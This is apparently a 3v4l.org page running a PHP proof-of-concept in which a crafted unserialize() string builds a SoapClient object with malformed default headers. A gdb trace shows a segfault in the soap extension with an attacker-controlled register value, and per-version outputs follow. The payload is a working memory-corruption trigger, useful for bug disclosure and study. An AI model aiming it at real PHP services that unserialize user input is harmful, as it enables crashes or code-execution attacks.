3v4l.org

run code in 200+ php & hhvm versions
Bugs & Features
<?php /* (gdb) r poc2.php Starting program: /usr/bin/php /home/poc2.php [Thread debugging using libthread_db enabled] Program received signal SIGSEGV, Segmentation fault. 0x00000000007dac54 in serialize_function_call (this_ptr=0x7ffff7fb7868, function=0x0, function_name=0x7ffff7fba708 "notexisting", uri=0x7ffff7fba9b0 "X", arguments=0x0, arg_count=0, version=1, soap_headers=0x7ffff0b72370) at /home/php-5.6.11/ext/soap/soap.c:4351 4351 HashTable *ht = Z_OBJPROP_PP(header); (gdb) x/i $pc => 0x7dac54 <serialize_function_call+2145>: mov 0x70(%rax),%rax (gdb) p $rax $4 = 1337 */ $dummy = unserialize('O:10:"SoapClient":3:{s:3:"uri";s:1:"X";s:8:"location";s:22:"http://localhost/a.xml";s:17:"__default_headers";a:1:{i:1;s:1337:"'.str_repeat("X", 1337).'";}}'); var_dump($dummy->notexisting()); ?>
based on KlFKL
Output for 7.2.0
Fatal error: main(): The script tried to execute a method or access a property of an incomplete object. Please ensure that the class definition "SoapClient" of the object you are trying to operate on was loaded _before_ unserialize() gets called or provide an autoloader to load the class definition in /in/TcBUM on line 24
Process exited with code 255.
Output for 5.4.1 - 7.1.10
Fatal error: main(): The script tried to execute a method or access a property of an incomplete object. Please ensure that the class definition "SoapClient" of the object you are trying to operate on was loaded _before_ unserialize() gets called or provide a __autoload() function to load the class definition in /in/TcBUM on line 24
Process exited with code 255.
Output for 5.3.18 - 5.3.29

Process exited with code 139.